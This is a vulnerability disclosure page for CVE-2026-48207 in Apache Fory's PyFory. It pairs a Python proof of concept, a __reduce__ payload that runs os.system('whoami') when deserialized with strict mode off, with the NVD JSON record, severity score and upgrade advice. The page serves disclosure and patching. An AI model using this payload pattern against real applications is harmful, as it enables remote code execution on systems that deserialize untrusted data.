CVE-2026-48207

import pyfory import os # Define a malicious class that executes a command when reduced class MaliciousPayload: def __reduce__(self): # This returns a tuple (callable, args) that will be executed upon deserialization return (os.system, ('whoami',)) # Create an instance and serialize it (simulating attacker-controlled data) original_data = MaliciousPayload() malicious_data = pyfory.serialize(original_data) # Scenario: The target application deserializes the data # Vulnerable condition: Python-native mode, strict mode disabled # The ReduceSerializer bypasses the DeserializationPolicy checks here try: # In a vulnerable version (< 1.0.0), this bypasses the policy and executes 'whoami' result = pyfory.deserialize(malicious_data, mode='python-native', strict=False) print("Deserialization successful. Code executed.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-48207", "sourceIdentifier": "[email protected]", "published": "2026-05-21T17:16:21.857", "lastModified": "2026-05-21T19:16:53.700", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Apache Fory PyFory. PyFory's ReduceSerializer could bypass documented DeserializationPolicy validation hooks during reduce-state restoration and global-name resolution. An application is vulnerable if it deserializes attacker-controlled data using PyFory Python-native mode with strict mode disabled and relies on DeserializationPolicy to restrict unsafe classes, functions, or module attributes.\n\nThis issue affects Apache Fory: from before 1.0.0.\n\nMitigation: Users of Apache Fory are recommended to upgrade to version 1.0.0 or later, which enforces DeserializationPolicy validation for the affected ReduceSerializer paths and thus fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://fory.apache.org/security/#cve-2026-48207-pyfory-reduceserializer-deserializationpolicy-bypass", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/21/10", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}